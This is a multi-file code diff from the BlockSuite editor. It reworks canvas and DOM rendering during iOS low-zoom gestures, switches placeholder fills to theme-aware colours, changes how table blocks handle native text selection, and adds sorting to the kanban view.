import { requestConnectedFrame } from '@blocksuite/affine-shared/utils';
import { DisposableGroup } from '@blocksuite/global/disposable';
import { IS_IOS } from '@blocksuite/global/env';
import {
Bound,
getBoundWithRotation,
@@ -18,7 +19,12 @@ import type {
SurfaceBlockModel,
Viewport,
} from '@blocksuite/std/gfx';
import { GfxControllerIdentifier } from '@blocksuite/std/gfx';
import {
getEffectiveDpr,
getPostGestureRecoveryDelay,
GfxControllerIdentifier,
viewportRuntimeConfig,
} from '@blocksuite/std/gfx';
import { effect } from '@preact/signals-core';
import last from 'lodash-es/last';
import { Subject } from 'rxjs';
@@ -28,6 +34,7 @@ import { ElementRendererIdentifier } from '../extensions/element-renderer.js';
import { RoughCanvas } from '../utils/rough/canvas.js';
import type { ElementRenderer } from './elements/index.js';
import type { Overlay } from './overlay.js';
import { resolveSurfacePlaceholderColor } from './placeholder-style.js';
type EnvProvider = {
generateColorProperty: (color: Color, fallback?: Color) => string;
@@ -116,6 +123,181 @@ type RefreshTarget =
};
const STACKING_CANVAS_PADDING = 32;
const IOS_LOW_ZOOM_SURVIVAL_THRESHOLD = 0.5;
export function shouldSyncCanvasBudgetOnViewportUpdate(
previousZoom: number,
nextZoom: number,
rawDpr = window.devicePixelRatio
) {
if (rawDpr <= 1) {
return false;
}
return (
getEffectiveDpr(previousZoom, rawDpr) !== getEffectiveDpr(nextZoom, rawDpr)
);
}
export function shouldUseLowZoomSurvivalMode(
isIOS: boolean,
zoom: number,
gestureActive: boolean
) {
return isIOS && gestureActive && zoom <= IOS_LOW_ZOOM_SURVIVAL_THRESHOLD;
}
export function getStackingCanvasBypassState(params: {
isIOS: boolean;
zoom: number;
gestureActive: boolean;
recoveryActive: boolean;
viewportWidth: number;
viewportHeight: number;
}) {
const {
isIOS,
zoom,
gestureActive,
recoveryActive,
viewportWidth,
viewportHeight,
} = params;
return (
isIOS &&
zoom <= IOS_LOW_ZOOM_SURVIVAL_THRESHOLD &&
(gestureActive || recoveryActive) &&
viewportWidth > viewportHeight
);
}
export function shouldBypassStackingCanvasesDuringLowZoomGesture(params: {
isIOS: boolean;
zoom: number;
gestureActive: boolean;
recoveryActive: boolean;
viewportWidth: number;
viewportHeight: number;
}) {
return getStackingCanvasBypassState(params);
}
export function getStackingCanvasAttachmentDiff(params: {
canvases: HTMLCanvasElement[];
wasAttached: boolean;
shouldAttach: boolean;
}) {
const { canvases, wasAttached, shouldAttach } = params;
if (wasAttached === shouldAttach) {
return {
added: [],
removed: [],
};
}
return shouldAttach
? {
added: canvases,
removed: [],
}
: {
added: [],
removed: canvases,
};
}
export function getMainCanvasFallbackBounds(params: {
viewportBounds: Bound;
overscanViewportBounds: Bound;
}) {
const { overscanViewportBounds } = params;
return {
cullBound: overscanViewportBounds,
renderBound: overscanViewportBounds,
};
}
export function getCanvasViewportLayout(params: {
bound: Bound;
viewportBounds: Bound;
zoom: number;
viewScale: number;
dpr: number;
}) {
const { bound, viewportBounds, zoom, viewScale, dpr } = params;
const width = bound.w * zoom;
const height = bound.h * zoom;
const left = (bound.x - viewportBounds.x) * zoom;
const top = (bound.y - viewportBounds.y) * zoom;
return {
actualHeight: Math.max(0, Math.ceil(height * dpr)),
actualWidth: Math.max(0, Math.ceil(width * dpr)),
height,
transform: `translate(${left}px, ${top}px) scale(${1 / viewScale})`,
width,
};
}
function applyCanvasViewportLayout(
canvas: HTMLCanvasElement,
layout: ReturnType<typeof getCanvasViewportLayout>
) {
const width = `${layout.width}px`;
const height = `${layout.height}px`;
if (canvas.style.left !== '0px') {
canvas.style.left = '0px';
}
if (canvas.style.top !== '0px') {
canvas.style.top = '0px';
}
if (canvas.style.width !== width) {
canvas.style.width = width;
}
if (canvas.style.height !== height) {
canvas.style.height = height;
}
if (canvas.style.transform !== layout.transform) {
canvas.style.transform = layout.transform;
}
if (canvas.style.transformOrigin !== 'top left') {
canvas.style.transformOrigin = 'top left';
}
if (canvas.width !== layout.actualWidth) {
canvas.width = layout.actualWidth;
}
if (canvas.height !== layout.actualHeight) {
canvas.height = layout.actualHeight;
}
}
export function shouldRenderCanvasPlaceholders(params: {
isIOS: boolean;
zoom: number;
isPanning: boolean;
isZooming: boolean;
skipRefreshDuringGesture: boolean;
turboEnabled: boolean;
}) {
const {
isIOS,
zoom,
isPanning,
isZooming,
skipRefreshDuringGesture,
turboEnabled,
} = params;
if (shouldUseLowZoomSurvivalMode(isIOS, zoom, isZooming)) {
return true;
}
return !skipRefreshDuringGesture && turboEnabled && isZooming && !isPanning;
}
export class CanvasRenderer {
private _container!: HTMLElement;
@@ -145,6 +327,19 @@ export class CanvasRenderer {
private _needsFullRender = true;
private _lastCanvasBudgetZoom = 1;
private _lastLowZoomSurvivalMode = false;
private _lastBypassStackingCanvases = false;
private _stackingCanvasesAttached = true;
private _stackingCanvasRecoveryUntil = 0;
private _stackingCanvasRecoveryTimerId: ReturnType<typeof setTimeout> | null =
null;
private _debugMetrics: MutableCanvasRendererDebugMetrics = {
refreshCount: 0,
coalescedRefreshCount: 0,
@@ -189,6 +384,10 @@ export class CanvasRenderer {
return this._stackingCanvas;
}
get stackingCanvasesAttached() {
return this._stackingCanvasesAttached;
}
constructor(options: RendererOptions) {
const canvas = document.createElement('canvas');
@@ -196,6 +395,7 @@ export class CanvasRenderer {
this.ctx = this.canvas.getContext('2d') as CanvasRenderingContext2D;
this.std = options.std;
this.viewport = options.viewport;
this._lastCanvasBudgetZoom = this.viewport.zoom;
this.layerManager = options.layerManager;
this.grid = options.gridManager;
this.provider = options.provider ?? {};
@@ -223,22 +423,28 @@ export class CanvasRenderer {
*
* It is not recommended to set width and height to 100%.
*/
private _canvasSizeUpdater(dpr = window.devicePixelRatio) {
const { width, height, viewScale } = this.viewport;
const actualWidth = Math.ceil(width * dpr);
const actualHeight = Math.ceil(height * dpr);
private _canvasSizeUpdater(
bound = this.viewport.overscanViewportBounds,
dpr = getEffectiveDpr(this.viewport.zoom)
) {
const layout = getCanvasViewportLayout({
bound,
viewportBounds: this.viewport.viewportBounds,
zoom: this.viewport.zoom,
viewScale: this.viewport.viewScale,
dpr,
});
return {
filter({ width, height }: HTMLCanvasElement) {
return width !== actualWidth || height !== actualHeight;
filter(canvas: HTMLCanvasElement) {
return (
canvas.width !== layout.actualWidth ||
canvas.height !== layout.actualHeight ||
canvas.style.transform !== layout.transform
);
},
update(canvas: HTMLCanvasElement) {
canvas.style.width = `${width}px`;
canvas.style.height = `${height}px`;
canvas.style.transform = `scale(${1 / viewScale})`;
canvas.style.transformOrigin = `top left`;
canvas.width = actualWidth;
canvas.height = actualHeight;
applyCanvasViewportLayout(canvas, layout);
},
};
}
@@ -246,7 +452,7 @@ export class CanvasRenderer {
private _applyStackingCanvasLayout(
canvas: HTMLCanvasElement,
bound: Bound | null,
dpr = window.devicePixelRatio
dpr = getEffectiveDpr(this.viewport.zoom)
) {
const state =
this._stackingCanvasState.get(canvas) ??
@@ -270,44 +476,18 @@ export class CanvasRenderer {
return;
}
const { viewportBounds, zoom, viewScale } = this.viewport;
const width = bound.w * zoom;
const height = bound.h * zoom;
const left = (bound.x - viewportBounds.x) * zoom;
const top = (bound.y - viewportBounds.y) * zoom;
const actualWidth = Math.max(1, Math.ceil(width * dpr));
const actualHeight = Math.max(1, Math.ceil(height * dpr));
const transform = `translate(${left}px, ${top}px) scale(${1 / viewScale})`;
const layout = getCanvasViewportLayout({
bound,
viewportBounds: this.viewport.viewportBounds,
zoom: this.viewport.zoom,
viewScale: this.viewport.viewScale,
dpr,
});
if (canvas.style.display !== 'block') {
canvas.style.display = 'block';
}
if (canvas.style.left !== '0px') {
canvas.style.left = '0px';
}
if (canvas.style.top !== '0px') {
canvas.style.top = '0px';
}
if (canvas.style.width !== `${width}px`) {
canvas.style.width = `${width}px`;
}
if (canvas.style.height !== `${height}px`) {
canvas.style.height = `${height}px`;
}
if (canvas.style.transform !== transform) {
canvas.style.transform = transform;
}
if (canvas.style.transformOrigin !== 'top left') {
canvas.style.transformOrigin = 'top left';
}
if (canvas.width !== actualWidth) {
canvas.width = actualWidth;
}
if (canvas.height !== actualHeight) {
canvas.height = actualHeight;
}
applyCanvasViewportLayout(canvas, layout);
state.bound = bound;
state.layerId = canvas.dataset.layerId ?? null;
@@ -434,6 +614,125 @@ export class CanvasRenderer {
this._applyStackingCanvasLayout(canvas, null);
}
private _syncStackingCanvasAttachment(shouldAttach: boolean) {
const payloadDiff = getStackingCanvasAttachmentDiff({
canvases: this._stackingCanvas,
wasAttached: this._stackingCanvasesAttached,
shouldAttach,
});
this._stackingCanvasesAttached = shouldAttach;
if (!payloadDiff.added.length && !payloadDiff.removed.length) {
return;
}
this.stackingCanvasUpdated.next({
canvases: this._stackingCanvas,
...payloadDiff,
});
}
private _isStackingCanvasRecoveryActive() {
return this._stackingCanvasRecoveryUntil > performance.now();
}
private _clearStackingCanvasRecoveryTimer() {
if (this._stackingCanvasRecoveryTimerId !== null) {
clearTimeout(this._stackingCanvasRecoveryTimerId);
this._stackingCanvasRecoveryTimerId = null;
}
}
private _scheduleStackingCanvasRecoveryWindow(
delayMs = viewportRuntimeConfig.POST_GESTURE_REFRESH_DELAY
) {
this._clearStackingCanvasRecoveryTimer();
this._stackingCanvasRecoveryUntil = performance.now() + delayMs;
this._stackingCanvasRecoveryTimerId = setTimeout(() => {
this._stackingCanvasRecoveryTimerId = null;
this._stackingCanvasRecoveryUntil = 0;
if (this._container) {
this._updatePlaceholderMode();
}
}, delayMs);
}
private _syncCanvasBudgetForViewportZoom() {
const nextZoom = this.viewport.zoom;
if (
!shouldSyncCanvasBudgetOnViewportUpdate(
this._lastCanvasBudgetZoom,
nextZoom
)
) {
this._lastCanvasBudgetZoom = nextZoom;
return;
}
this._lastCanvasBudgetZoom = nextZoom;
this._resetSize();
this._render();
}
private _updatePlaceholderMode() {
const gestureActive =
this.viewport.panning$.value || this.viewport.zooming$.value;
const recoveryActive = this._isStackingCanvasRecoveryActive();
const lowZoomSurvivalMode = shouldUseLowZoomSurvivalMode(
IS_IOS,
this.viewport.zoom,
gestureActive
);
const shouldBypassStackingCanvases =
shouldBypassStackingCanvasesDuringLowZoomGesture({
isIOS: IS_IOS,
zoom: this.viewport.zoom,
gestureActive,
recoveryActive,
viewportWidth: this.viewport.width,
viewportHeight: this.viewport.height,
});
const shouldRenderPlaceholders = shouldRenderCanvasPlaceholders({
isIOS: IS_IOS,
zoom: this.viewport.zoom,
isPanning: this.viewport.panning$.value,
isZooming: this.viewport.zooming$.value,
skipRefreshDuringGesture: this.viewport.SKIP_REFRESH_DURING_GESTURE,
turboEnabled: this._turboEnabled(),
});
const bypassModeChanged =
this._lastBypassStackingCanvases !== shouldBypassStackingCanvases;
this._syncStackingCanvasAttachment(!shouldBypassStackingCanvases);
if (this.usePlaceholder === shouldRenderPlaceholders) {
this._lastLowZoomSurvivalMode = lowZoomSurvivalMode;
this._lastBypassStackingCanvases = shouldBypassStackingCanvases;
if (bypassModeChanged) {
this.refresh({ type: 'all' });
}
return;
}
this.usePlaceholder = shouldRenderPlaceholders;
const survivalModeChanged =
this._lastLowZoomSurvivalMode !== lowZoomSurvivalMode;
this._lastLowZoomSurvivalMode = lowZoomSurvivalMode;
this._lastBypassStackingCanvases = shouldBypassStackingCanvases;
if (
survivalModeChanged ||
bypassModeChanged ||
!this.viewport.SKIP_REFRESH_DURING_GESTURE ||
!gestureActive
) {
this.refresh({ type: 'all' });
}
}
private _initStackingCanvas(onCreated?: (canvas: HTMLCanvasElement) => void) {
const layer = this.layerManager;
const updateStackingCanvas = () => {
@@ -476,7 +775,9 @@ export class CanvasRenderer {
};
if (diff > 0) {
payload.added = canvases.slice(-diff);
if (this._stackingCanvasesAttached) {
payload.added = canvases.slice(-diff);
}
} else {
payload.removed = currentCanvases.slice(diff);
payload.removed.forEach(canvas => {
@@ -485,7 +786,9 @@ export class CanvasRenderer {
});
}
this.stackingCanvasUpdated.next(payload);
if (payload.added.length || payload.removed.length) {
this.stackingCanvasUpdated.next(payload);
}
}
this.refresh({ type: 'all' });
@@ -503,41 +806,131 @@ export class CanvasRenderer {
private _initViewport() {
let sizeUpdatedRafId: number | null = null;
this._disposables.add({
dispose: () => this._clearStackingCanvasRecoveryTimer(),
});
this._disposables.add(
this.viewport.zoomUpdated.subscribe(() => {
this._syncCanvasBudgetForViewportZoom();
})
);
this._disposables.add(
this.viewport.viewportUpdated.subscribe(() => {
this._updatePlaceholderMode();
if (
this.viewport.SKIP_REFRESH_DURING_GESTURE &&
(this.viewport.panning$.value || this.viewport.zooming$.value)
) {
return;
}
this.refresh({ type: 'all' });
})
);
this._disposables.add(
this.viewport.sizeUpdated.subscribe(() => {
if (
IS_IOS &&
this.viewport.zoom <= IOS_LOW_ZOOM_SURVIVAL_THRESHOLD &&
this.viewport.width > this.viewport.height
) {
this._scheduleStackingCanvasRecoveryWindow();
if (this._container) {
this._updatePlaceholderMode();
}
}
if (sizeUpdatedRafId) return;
sizeUpdatedRafId = requestConnectedFrame(() => {
sizeUpdatedRafId = null;
this._resetSize();
this._render();
// When SKIP_REFRESH_DURING_GESTURE is active, schedule the render
// after a short delay to let the layout settle on orientation change,
// avoiding a white-flash from resizing + rendering in the same frame.
if (this.viewport.SKIP_REFRESH_DURING_GESTURE) {
setTimeout(() => this._render(), 16);
} else {
this._render();
}
}, this._container);
})
);
this._disposables.add(
this.viewport.zooming$.subscribe(isZooming => {
const shouldRenderPlaceholders = this._turboEnabled() && isZooming;
if (this.usePlaceholder !== shouldRenderPlaceholders) {
this.usePlaceholder = shouldRenderPlaceholders;
this.refresh({ type: 'all' });
}
this.viewport.zooming$.subscribe(() => {
this._updatePlaceholderMode();
})
);
// When SKIP_REFRESH_DURING_GESTURE is enabled, defer heavy canvas work
// while the gesture is still in-flight, but start the first recovery frame
// immediately once both gesture signals have fully settled.
if (this.viewport.SKIP_REFRESH_DURING_GESTURE) {
let pendingCanvasTimerId: ReturnType<typeof setTimeout> | null = null;
const cancelPendingCanvasRefresh = () => {
if (pendingCanvasTimerId !== null) {
clearTimeout(pendingCanvasTimerId);
pendingCanvasTimerId = null;
}
};
const scheduleCanvasRefresh = () => {
cancelPendingCanvasRefresh();
const delayMs = getPostGestureRecoveryDelay({
isPanning: this.viewport.panning$.value,
isZooming: this.viewport.zooming$.value,
fallbackDelayMs: viewportRuntimeConfig.POST_GESTURE_REFRESH_DELAY,
});
pendingCanvasTimerId = setTimeout(() => {
pendingCanvasTimerId = null;
// If a gesture is still in-flight when the timer fires, reschedule
// instead of dropping. Dropping here left connectors blank until a
// tap forced a synchronous refresh.
if (this.viewport.panning$.value || this.viewport.zooming$.value) {
scheduleCanvasRefresh();
return;
}
this.refresh({ type: 'all' });
}, delayMs);
};
this._disposables.add(
this.viewport.panning$.subscribe(panning => {
this._updatePlaceholderMode();
if (panning) {
cancelPendingCanvasRefresh();
} else {
scheduleCanvasRefresh();
}
})
);
this._disposables.add(
this.viewport.zooming$.subscribe(zooming => {
this._updatePlaceholderMode();
if (zooming) {
cancelPendingCanvasRefresh();
} else {
scheduleCanvasRefresh();
}
})
);
this._disposables.add({ dispose: cancelPendingCanvasRefresh });
}
let wasDragging = false;
this._disposables.add(
effect(() => {
const isDragging = this._gfx.tool.dragging$.value;
if (wasDragging && !isDragging) {
this.refresh({ type: 'all' });
if (this.viewport.panning$.value || this.viewport.zooming$.value) {
// Deferred refresh will handle it after gesture ends
} else {
this.refresh({ type: 'all' });
}
}
wasDragging = isDragging;
@@ -572,16 +965,34 @@ export class CanvasRenderer {
private _render() {
const renderStart = performance.now();
const { viewportBounds, zoom } = this.viewport;
const { overscanViewportBounds, viewportBounds, zoom } = this.viewport;
const {
cullBound: mainCanvasCullBound,
renderBound: mainCanvasRenderBound,
} = getMainCanvasFallbackBounds({
viewportBounds,
overscanViewportBounds,
});
const { ctx } = this;
const dpr = window.devicePixelRatio;
const dpr = getEffectiveDpr(zoom);
const scale = zoom * dpr;
const matrix = new DOMMatrix().scaleSelf(scale);
const renderStats = this._createRenderPassStats();
const fullRender = this._needsFullRender;
const stackingIndexesToRender = fullRender
? this._stackingCanvas.map((_, idx) => idx)
: [...this._dirtyStackingCanvasIndexes];
const bypassStackingCanvases = getStackingCanvasBypassState({
isIOS: IS_IOS,
zoom: this.viewport.zoom,
gestureActive:
this.viewport.panning$.value || this.viewport.zooming$.value,
recoveryActive: this._isStackingCanvasRecoveryActive(),
viewportWidth: this.viewport.width,
viewportHeight: this.viewport.height,
});
const stackingIndexesToRender = bypassStackingCanvases
? []
: fullRender
? this._stackingCanvas.map((_, idx) => idx)
: [...this._dirtyStackingCanvasIndexes];
/**
* if a layer does not have a corresponding canvas
* its element will be add to this array and drawing on the
@@ -589,7 +1000,15 @@ export class CanvasRenderer {
*/
let fallbackElement: SurfaceElementModel[] = [];
const allCanvasLayers = this.layerManager.getCanvasLayers();
const viewportBound = Bound.from(viewportBounds);
const stackingViewportBound = Bound.from(overscanViewportBounds);
this._canvasSizeUpdater(mainCanvasRenderBound, dpr).update(this.canvas);
if (bypassStackingCanvases) {
this._stackingCanvas.forEach(canvas => {
this._applyStackingCanvasLayout(canvas, null, dpr);
});
}
for (const idx of stackingIndexesToRender) {
const layer = allCanvasLayers[idx];
@@ -601,7 +1020,7 @@ export class CanvasRenderer {
const layerRenderBound = this._getLayerRenderBound(
layer.elements,
viewportBound
stackingViewportBound
);
const resolvedLayerRenderBound = this._getResolvedStackingCanvasBound(
canvas,
@@ -638,7 +1057,12 @@ export class CanvasRenderer {
if (fullRender || this._mainCanvasDirty) {
allCanvasLayers.forEach((layer, idx) => {
if (!this._stackingCanvas[idx]) {
if (
bypassStackingCanvases ||
!this._stackingCanvas[idx] ||
this._stackingCanvas[idx].width === 0 ||
this._stackingCanvas[idx].height === 0
) {
fallbackElement = fallbackElement.concat(layer.elements);
}
});
@@ -651,10 +1075,11 @@ export class CanvasRenderer {
ctx,
matrix,
new RoughCanvas(ctx.canvas),
viewportBounds,
mainCanvasRenderBound,
fallbackElement,
true,
renderStats
renderStats,
mainCanvasCullBound
);
}
@@ -726,7 +1151,8 @@ export class CanvasRenderer {
bound: IBound,
surfaceElements?: SurfaceElementModel[],
overLay: boolean = false,
renderStats?: RenderPassStats
renderStats?: RenderPassStats,
cullBound: IBound = bound
) {
if (!ctx) return;
@@ -734,13 +1160,13 @@ export class CanvasRenderer {
const elements =
surfaceElements ??
(this.grid.search(bound, {
(this.grid.search(cullBound, {
filter: ['canvas', 'local'],
}) as SurfaceElementModel[]);
for (const element of elements) {
const display = (element.display ?? true) && !element.hidden;
if (display && intersects(getBoundWithRotation(element), bound)) {
if (display && intersects(getBoundWithRotation(element), cullBound)) {
renderStats && (renderStats.visibleElementCount += 1);
if (
this.usePlaceholder &&
@@ -748,7 +1174,7 @@ export class CanvasRenderer {
) {
renderStats && (renderStats.placeholderElementCount += 1);
ctx.save();
ctx.fillStyle = 'rgba(200, 200, 200, 0.5)';
ctx.fillStyle = resolveSurfacePlaceholderColor(this.getColorScheme());
const drawX = element.x - bound.x;
const drawY = element.y - bound.y;
ctx.fillRect(drawX, drawY, element.w, element.h);
@@ -785,9 +1211,12 @@ export class CanvasRenderer {
}
private _resetSize() {
const sizeUpdater = this._canvasSizeUpdater();
const sizeUpdater = this._canvasSizeUpdater(
this.viewport.overscanViewportBounds
);
sizeUpdater.update(this.canvas);
this._lastCanvasBudgetZoom = this.viewport.zoom;
this._invalidate({ type: 'all' });
}
@@ -838,6 +1267,7 @@ export class CanvasRenderer {
this._container = container;
container.append(this.canvas);
this._updatePlaceholderMode();
this._resetSize();
this.refresh({ type: 'all' });
}
@@ -864,8 +1294,11 @@ export class CanvasRenderer {
canvas = canvas || document.createElement('canvas');
const dpr = window.devicePixelRatio || 1;
if (canvas.width !== bound.w * dpr) canvas.width = bound.w * dpr;
if (canvas.height !== bound.h * dpr) canvas.height = bound.h * dpr;
const actualWidth = Math.ceil(bound.w * dpr);
const actualHeight = Math.ceil(bound.h * dpr);
if (canvas.width !== actualWidth) canvas.width = actualWidth;
if (canvas.height !== actualHeight) canvas.height = actualHeight;
canvas.style.width = `${bound.w}px`;
canvas.style.height = `${bound.h}px`;
@@ -19,12 +19,14 @@ import type {
SurfaceBlockModel,
Viewport,
} from '@blocksuite/std/gfx';
import { viewportRuntimeConfig } from '@blocksuite/std/gfx';
import { Subject } from 'rxjs';
import type { SurfaceElementModel } from '../element-model/base.js';
import type { DomElementRenderer } from './dom-elements/index.js';
import { DomElementRendererIdentifier } from './dom-elements/index.js';
import type { Overlay } from './overlay.js';
import { resolveSurfacePlaceholderColor } from './placeholder-style.js';
type EnvProvider = {
generateColorProperty: (color: Color, fallback?: Color) => string;
@@ -222,6 +224,12 @@ export class DomRenderer {
private _initViewport() {
this._disposables.add(
this.viewport.viewportUpdated.subscribe(() => {
if (
this.viewport.SKIP_REFRESH_DURING_GESTURE &&
(this.viewport.panning$.value || this.viewport.zooming$.value)
) {
return;
}
this._markViewportDirty();
this.refresh();
})
@@ -242,6 +250,9 @@ export class DomRenderer {
this._disposables.add(
this.viewport.zooming$.subscribe(isZooming => {
if (this.viewport.SKIP_REFRESH_DURING_GESTURE) {
return;
}
const shouldRenderPlaceholders = this._turboEnabled() && isZooming;
if (this.usePlaceholder !== shouldRenderPlaceholders) {
@@ -252,6 +263,43 @@ export class DomRenderer {
})
);
// Post-gesture refresh for SKIP mode
if (this.viewport.SKIP_REFRESH_DURING_GESTURE) {
let pendingTimerId: ReturnType<typeof setTimeout> | null = null;
const cancelRefresh = () => {
if (pendingTimerId !== null) {
clearTimeout(pendingTimerId);
pendingTimerId = null;
}
};
const scheduleRefresh = () => {
cancelRefresh();
pendingTimerId = setTimeout(() => {
pendingTimerId = null;
if (!this.viewport.panning$.value && !this.viewport.zooming$.value) {
this._markViewportDirty();
this.refresh();
}
}, viewportRuntimeConfig.POST_GESTURE_REFRESH_DELAY);
};
this._disposables.add(
this.viewport.panning$.subscribe(panning => {
if (panning) cancelRefresh();
else if (!this.viewport.zooming$.value) scheduleRefresh();
})
);
this._disposables.add(
this.viewport.zooming$.subscribe(zooming => {
if (zooming) cancelRefresh();
else if (!this.viewport.panning$.value) scheduleRefresh();
})
);
this._disposables.add({ dispose: cancelRefresh });
}
this.usePlaceholder = false;
}
@@ -292,12 +340,15 @@ export class DomRenderer {
domElement = document.createElement('div');
domElement.dataset.elementId = elementModel.id;
domElement.style.position = 'absolute';
domElement.style.backgroundColor = 'rgba(200, 200, 200, 0.5)';
this._elementsMap.set(elementModel.id, domElement);
this.rootElement.append(domElement);
addedElements.push(domElement);
}
domElement.style.backgroundColor = resolveSurfacePlaceholderColor(
this.getColorScheme()
);
const geometricStyles = calculatePlaceholderRect(
elementModel,
viewportBounds,
@@ -0,0 +1,10 @@
import { type ColorScheme } from '@blocksuite/affine-model';
import { getAffinePlaceholderFillColor } from '@blocksuite/affine-shared/theme';
export function getSurfacePlaceholderFallback(colorScheme: ColorScheme) {
return getAffinePlaceholderFillColor(colorScheme);
}
export function resolveSurfacePlaceholderColor(colorScheme: ColorScheme) {
return getSurfacePlaceholderFallback(colorScheme);
}
@@ -527,6 +527,9 @@ export class SelectionController implements ReactiveController {
removeNativeSelection = true
) {
if (selection) {
if (this.hasExternalNativeSelection()) {
return;
}
const previous = this.getSelected();
if (TableSelectionData.equals(previous, selection)) {
return;
@@ -551,4 +554,24 @@ export class SelectionController implements ReactiveController {
);
return selection?.is(TableSelection) ? selection.data : undefined;
}
private hasExternalNativeSelection() {
const selection = getSelection();
if (!selection || selection.isCollapsed || selection.rangeCount === 0) {
return false;
}
const range = selection.getRangeAt(0);
if (!range.intersectsNode(this.host)) {
return false;
}
const anchorNode = selection.anchorNode;
const focusNode = selection.focusNode;
return (
!!anchorNode &&
!!focusNode &&
(!this.host.contains(anchorNode) || !this.host.contains(focusNode))
);
}
}
@@ -1,10 +1,32 @@
import { css } from '@emotion/css';
const externalRangeSelectionSelector =
'affine-table[data-external-range-selection]';
const hiddenSelectionBackground = '#fff';
export const tableContainer = css({
display: 'block',
padding: '10px 0 18px 10px',
overflowX: 'auto',
overflowY: 'visible',
userSelect: 'none',
WebkitUserSelect: 'none',
'& *': {
userSelect: 'none',
WebkitUserSelect: 'none',
},
[`${externalRangeSelectionSelector} &::selection`]: {
backgroundColor: hiddenSelectionBackground,
},
[`${externalRangeSelectionSelector} & *::selection`]: {
backgroundColor: hiddenSelectionBackground,
},
[`${externalRangeSelectionSelector} & rich-text::selection`]: {
backgroundColor: hiddenSelectionBackground,
},
[`${externalRangeSelectionSelector} & rich-text *::selection`]: {
backgroundColor: hiddenSelectionBackground,
},
'::-webkit-scrollbar': {
height: '8px',
},
@@ -5,7 +5,10 @@ import { DocModeProvider } from '@blocksuite/affine-shared/services';
import { VirtualPaddingController } from '@blocksuite/affine-shared/utils';
import { IS_MOBILE } from '@blocksuite/global/env';
import type { BlockComponent } from '@blocksuite/std';
import { RANGE_SYNC_EXCLUDE_ATTR } from '@blocksuite/std/inline';
import {
RANGE_QUERY_EXCLUDE_ATTR,
RANGE_SYNC_EXCLUDE_ATTR,
} from '@blocksuite/std/inline';
import { signal } from '@preact/signals-core';
import { html, nothing } from 'lit';
import { ref } from 'lit/directives/ref.js';
@@ -37,7 +40,80 @@ export class TableBlockComponent extends CaptionedBlockComponent<TableBlockModel
override connectedCallback() {
super.connectedCallback();
this.setAttribute(RANGE_SYNC_EXCLUDE_ATTR, 'true');
this.setAttribute(RANGE_QUERY_EXCLUDE_ATTR, 'true');
this.style.position = 'relative';
const doc = this.ownerDocument;
this.disposables.addFromEvent(doc, 'selectionchange', () => {
const hasExternalNativeSelection = this.hasExternalNativeSelection();
this.toggleAttribute(
'data-external-range-selection',
hasExternalNativeSelection
);
if (hasExternalNativeSelection) {
delete this.dataset.internalRangeSelection;
}
this.setInternalEditablesEnabled(!hasExternalNativeSelection);
});
this.disposables.addFromEvent(
doc,
'pointerdown',
event => {
const target = event.target;
const NodeConstructor = this.ownerDocument.defaultView?.Node;
if (
NodeConstructor &&
target instanceof NodeConstructor &&
this.contains(target)
) {
this.setInternalEditablesEnabled(true);
if (this.hasExternalNativeSelection()) {
this.ownerDocument.getSelection()?.removeAllRanges();
}
delete this.dataset.externalRangeSelection;
this.dataset.internalRangeSelection = 'true';
} else {
delete this.dataset.internalRangeSelection;
}
},
{ capture: true }
);
}
private setInternalEditablesEnabled(enabled: boolean) {
this.querySelectorAll<HTMLElement>('.inline-editor').forEach(editor => {
if (enabled) {
if (editor.dataset.tableExternalSelectionDisabled === 'true') {
editor.contentEditable = 'true';
delete editor.dataset.tableExternalSelectionDisabled;
}
return;
}
if (editor.contentEditable === 'true') {
editor.contentEditable = 'false';
editor.dataset.tableExternalSelectionDisabled = 'true';
}
});
}
private hasExternalNativeSelection() {
const selection = this.ownerDocument.getSelection();
if (!selection || selection.isCollapsed || selection.rangeCount === 0) {
return false;
}
const range = selection.getRangeAt(0);
if (!range.intersectsNode(this)) {
return false;
}
const anchorNode = selection.anchorNode;
const focusNode = selection.focusNode;
return (
!!anchorNode &&
!!focusNode &&
(!this.contains(anchorNode) || !this.contains(focusNode))
);
}
override get topContenteditableElement() {
@@ -10,6 +10,18 @@ export const cellContainerStyle = css({
isolation: 'auto',
textAlign: 'start',
verticalAlign: 'top',
'affine-table[data-internal-range-selection="true"] &': {
userSelect: 'text',
WebkitUserSelect: 'text',
},
'affine-table[data-internal-range-selection="true"] & rich-text': {
userSelect: 'text',
WebkitUserSelect: 'text',
},
'affine-table[data-internal-range-selection="true"] & rich-text *': {
userSelect: 'text',
WebkitUserSelect: 'text',
},
});
export const columnOptionsCellStyle = css({
@@ -15,7 +15,9 @@ import {
sortByManually,
} from '../../core/group-by/trait.js';
import { fromJson } from '../../core/property/utils';
import { SortManager, sortTraitKey } from '../../core/sort/manager.js';
import { PropertyBase } from '../../core/view-manager/property.js';
import type { Row } from '../../core/view-manager/row.js';
import { SingleViewBase } from '../../core/view-manager/single-view.js';
import type { ViewManager } from '../../core/view-manager/view-manager.js';
import type { KanbanViewColumn, KanbanViewData } from './define.js';
@@ -92,6 +94,19 @@ export class KanbanSingleView extends SingleViewBase<KanbanViewData> {
return this.data$.value?.filter ?? emptyFilterGroup;
});
private readonly sortList$ = computed(() => {
return this.data$.value?.sort;
});
private readonly sortManager = this.traitSet(
sortTraitKey,
new SortManager(this.sortList$, this, {
setSortList: sortList => {
this.dataUpdate(data => ({ sort: { ...data.sort, ...sortList } }));
},
})
);
filterTrait = this.traitSet(
filterTraitKey,
new FilterTrait(this.filter$, this, {
@@ -140,6 +155,7 @@ export class KanbanSingleView extends SingleViewBase<KanbanViewData> {
return asc === false ? sorted.reverse() : sorted;
},
sortRow: (key, rows) => {
if (this.sortManager.hasSort$.value) return rows;
const property = this.view?.groupProperties.find(v => v.key === key);
return sortByManually(
rows,
@@ -359,6 +375,10 @@ export class KanbanSingleView extends SingleViewBase<KanbanViewData> {
return true;
}
protected override rowsMapping(rows: Row[]): Row[] {
return this.sortManager.sort(super.rowsMapping(rows));
}
propertyGetOrCreate(columnId: string): KanbanColumn {
return new KanbanColumn(this, columnId);
}
@@ -19,6 +19,7 @@ import {
type LocalConnectorElementModel,
type PointStyle,
} from '@blocksuite/affine-model';
import { getAffinePlaceholderFillColor } from '@blocksuite/affine-shared/theme';
import {
getBezierParameters,
type PointLocation,
@@ -253,7 +254,7 @@ function renderLabel(
ctx.setTransform(matrix);
if (renderer.usePlaceholder) {
ctx.fillStyle = 'rgba(200, 200, 200, 0.5)';
ctx.fillStyle = getAffinePlaceholderFillColor(renderer.getColorScheme());
ctx.fillRect(0, 0, w, h);
return; // Skip actual label rendering
}
@@ -10,6 +10,7 @@
"author": "toeverything",
